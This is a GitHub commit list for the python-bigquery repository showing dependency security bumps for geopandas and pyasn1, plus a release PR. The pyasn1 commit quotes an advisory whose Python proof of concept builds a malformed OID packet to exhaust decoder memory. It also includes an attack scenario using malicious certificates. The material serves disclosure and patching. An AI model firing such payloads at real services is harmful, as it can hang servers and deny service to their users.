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  • 4 commits
  • 5 files changed
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Commits on Feb 12, 2026

  1. chore(deps): update dependency geopandas to v1.1.2 [security] (google…

    …apis#2411)
    
    This PR contains the following updates:
    
    | Package | Change |
    [Age](https://docs.renovatebot.com/merge-confidence/) |
    [Confidence](https://docs.renovatebot.com/merge-confidence/) |
    |---|---|---|---|
    | [geopandas](https://redirect.github.com/geopandas/geopandas) |
    `==1.1.1` → `==1.1.2` |
    ![age](https://developer.mend.io/api/mc/badges/age/pypi/geopandas/1.1.2?slim=true)
    |
    ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/geopandas/1.1.1/1.1.2?slim=true)
    |
    
    ### GitHub Vulnerability Alerts
    
    #### [CVE-2025-69662](https://nvd.nist.gov/vuln/detail/CVE-2025-69662)
    
    SQL injection vulnerability in geopandas before v.1.1.2 allows an
    attacker to obtain sensitive information via the to_postgis()` function
    being used to write GeoDataFrames to a PostgreSQL database.
    
    ---
    
    ### Release Notes
    
    <details>
    <summary>geopandas/geopandas (geopandas)</summary>
    
    ###
    [`v1.1.2`](https://redirect.github.com/geopandas/geopandas/blob/HEAD/CHANGELOG.md#Version-112-December-22-2025)
    
    [Compare
    Source](https://redirect.github.com/geopandas/geopandas/compare/v1.1.1...v1.1.2)
    
    Bug fixes:
    
    - Fix an issue that caused an error in `GeoDataFrame.from_features` when
    there is no `properties` field
    ([#&#8203;3599](https://redirect.github.com/geopandas/geopandas/issues/3599)).
    - Fix `read_file` and `to_file` errors
    ([#&#8203;3682](https://redirect.github.com/geopandas/geopandas/issues/3682))
    - Fix `read_parquet` with `to_pandas_kwargs` for complex (list/struct)
    arrow types
    ([#&#8203;3640](https://redirect.github.com/geopandas/geopandas/issues/3640))
    - `value_counts` on GeoSeries now preserves CRS in index
    ([#&#8203;3669](https://redirect.github.com/geopandas/geopandas/issues/3669))
    - Fix f-string placeholders appearing in error messages when `pyogrio`
    cannot be imported
    ([#&#8203;3682](https://redirect.github.com/geopandas/geopandas/issues/3682)).
    - Fix `read_parquet` with `to_pandas_kwargs` for complex (list/struct)
    arrow types
    ([#&#8203;3640](https://redirect.github.com/geopandas/geopandas/issues/3640)).
    - `.to_json` now provides a clearer error message when called on a
    GeoDataFrame without an active geometry
    column
    ([#&#8203;3648](https://redirect.github.com/geopandas/geopandas/issues/3648)).
    - Calling `del gdf["geometry"]` now will downcast to a `pd.DataFrame` if
    there are no geometry columns left
    in the dataframe
    ([#&#8203;3648](https://redirect.github.com/geopandas/geopandas/issues/3648)).
    - Fix SQL injection in `to_postgis` via geometry column name
    ([#&#8203;3681](https://redirect.github.com/geopandas/geopandas/issues/3681)).
    
    </details>
    
    ---
    
    ### Configuration
    
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  2. chore(deps): update dependency pyasn1 to v0.6.2 [security] (googleapi…

    …s#2407)
    
    This PR contains the following updates:
    
    | Package | Change |
    [Age](https://docs.renovatebot.com/merge-confidence/) |
    [Confidence](https://docs.renovatebot.com/merge-confidence/) |
    |---|---|---|---|
    | [pyasn1](https://redirect.github.com/pyasn1/pyasn1)
    ([changelog](https://pyasn1.readthedocs.io/en/latest/changelog.html)) |
    `==0.6.1` → `==0.6.2` |
    ![age](https://developer.mend.io/api/mc/badges/age/pypi/pyasn1/0.6.2?slim=true)
    |
    ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/pyasn1/0.6.1/0.6.2?slim=true)
    |
    
    ### GitHub Vulnerability Alerts
    
    ####
    [CVE-2026-23490](https://redirect.github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq)
    
    ### Summary
    
    After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found
    that leads to memory exhaustion from malformed RELATIVE-OID with
    excessive continuation octets.
    
    ### Details
    
    The integer issue can be found in the decoder as `reloid += ((subId <<
    7) + nextSubId,)`:
    https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496
    
    ### PoC
    
    For the DoS:
    ```py
    import pyasn1.codec.ber.decoder as decoder
    import pyasn1.type.univ as univ
    import sys
    import resource
    
    # Deliberately set memory limit to display PoC
    try:
        resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
        print("[*] Memory limit set to 100MB")
    except:
        print("[-] Could not set memory limit")
    
    # Test with different payload sizes to find the DoS threshold
    payload_size_mb = int(sys.argv[1])
    
    print(f"[*] Testing with {payload_size_mb}MB payload...")
    
    payload_size = payload_size_mb * 1024 * 1024
    
    # Create payload with continuation octets
    # Each 0x81 byte indicates continuation, causing bit shifting in decoder
    payload = b'\x81' * payload_size + b'\x00'
    length = len(payload)
    
    # DER length encoding (supports up to 4GB)
    if length < 128:
        length_bytes = bytes([length])
    elif length < 256:
        length_bytes = b'\x81' + length.to_bytes(1, 'big')
    elif length < 256**2:
        length_bytes = b'\x82' + length.to_bytes(2, 'big')
    elif length < 256**3:
        length_bytes = b'\x83' + length.to_bytes(3, 'big')
    else:
        # 4 bytes can handle up to 4GB
        length_bytes = b'\x84' + length.to_bytes(4, 'big')
    
    # Use OID (0x06) for more aggressive parsing
    malicious_packet = b'\x06' + length_bytes + payload
    
    print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB")
    
    try:
        print("[*] Decoding (this may take time or exhaust memory)...")
        result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())
    
        print(f'[+] Decoded successfully')
        print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')
    
        # Try to convert to string
        print('[*] Converting to string...')
        try:
            str_result = str(result[0])
            print(f'[+] String succeeded: {len(str_result)} chars')
            if len(str_result) > 10000:
                print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')
        except MemoryError:
            print(f'[-] MemoryError during string conversion!')
        except Exception as e:
            print(f'[-] {type(e).__name__} during string conversion')
    
    except MemoryError:
        print('[-] MemoryError: Out of memory!')
    except Exception as e:
        print(f'[-] Error: {type(e).__name__}: {e}')
    
    print("\n[*] Test completed")
    ```
    
    Screenshots with the results:
    
    #### DoS
    <img width="944" height="207" alt="Screenshot_20251219_160840"
    src="https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f"
    />
    
    <img width="931" height="231" alt="Screenshot_20251219_152815"
    src="https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa"
    />
    
    #### Leak analysis
    
    A potential heap leak was investigated but came back clean:
    ```
    [*] Creating 1000KB payload...
    [*] Decoding with pyasn1...
    [*] Materializing to string...
    [+] Decoded 2157784 characters
    [+] Binary representation: 896001 bytes
    [+] Dumped to heap_dump.bin
    
    [*] First 64 bytes (hex):
      01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081
    
    [*] First 64 bytes (ASCII/hex dump):
      0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @&#8203;..... @&#8203;..
      0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @&#8203;..... @&#8203;....
      0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @&#8203;..... @&#8203;..... 
      0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @&#8203;..... @&#8203;..... @&#8203;.
    
    [*] Digit distribution analysis:
      '0':  10.1%
      '1':   9.9%
      '2':  10.0%
      '3':   9.9%
      '4':   9.9%
      '5':  10.0%
      '6':  10.0%
      '7':  10.0%
      '8':   9.9%
      '9':  10.1%
    ```
    
    ### Scenario
    
    1. An attacker creates a malicious X.509 certificate.
    2. The application validates certificates.
    3. The application accepts the malicious certificate and tries decoding
    resulting in the issues mentioned above.
    
    ### Impact
    
    This issue can affect resource consumption and hang systems or stop
    services.
    This may affect:
    - LDAP servers
    - TLS/SSL endpoints
    - OCSP responders
    - etc.
    
    ### Recommendation
    
    Add a limit to the allowed bytes in the decoder.
    
    ---
    
    ### Release Notes
    
    <details>
    <summary>pyasn1/pyasn1 (pyasn1)</summary>
    
    ###
    [`v0.6.2`](https://redirect.github.com/pyasn1/pyasn1/blob/HEAD/CHANGES.rst#Revision-062-released-16-01-2026)
    
    [Compare
    Source](https://redirect.github.com/pyasn1/pyasn1/compare/v0.6.1...v0.6.2)
    
    - CVE-2026-23490 (GHSA-63vm-454h-vhhq): Fixed continuation octet limits
      in OID/RELATIVE-OID decoder (thanks to tsigouris007)
    - Added support for Python 3.14
      [pr #&#8203;97](https://redirect.github.com/pyasn1/pyasn1/pull/97)
    - Added SECURITY.md policy
    - Fixed unit tests failing due to missing code
    [issue #&#8203;91](https://redirect.github.com/pyasn1/pyasn1/issues/91)
      [pr #&#8203;92](https://redirect.github.com/pyasn1/pyasn1/pull/92)
    - Migrated to pyproject.toml packaging
      [pr #&#8203;90](https://redirect.github.com/pyasn1/pyasn1/pull/90)
    
    </details>
    
    ---
    
    ### Configuration
    
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  3. chore: librarian release pull request: 20260212T105312Z (googleapis#2415

    )
    
    PR created by the Librarian CLI to initialize a release. Merging this PR will auto trigger a release.
    
    Librarian Version: v0.8.0
    Language Image: us-central1-docker.pkg.dev/cloud-sdk-librarian-prod/images-prod/python-librarian-generator@sha256:c8612d3fffb3f6a32353b2d1abd16b61e87811866f7ec9d65b59b02eb452a620
    <details><summary>google-cloud-bigquery: 3.40.1</summary>
    
    ## [3.40.1](https://togithub.com/googleapis/python-bigquery/compare/v3.40.0...v3.40.1) (2026-02-12)
    
    ### Bug Fixes
    
    * updates timeout/retry code to respect hanging server (googleapis#2408) ([24d45d0](https://togithub.com/googleapis/python-bigquery/commit/24d45d0d))
    
    * add timeout parameter to to_dataframe and to_arrow met… (googleapis#2354) ([4f67ba2](https://togithub.com/googleapis/python-bigquery/commit/4f67ba20))
    
    ### Documentation
    
    * clarify that only jobs.query and jobs.getQueryResults are affec… (googleapis#2349) ([7322843](https://togithub.com/googleapis/python-bigquery/commit/73228432))
    
    </details>
    chalmerlowe authored Feb 12, 2026
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Commits on Mar 6, 2026

  1. Configuration menu
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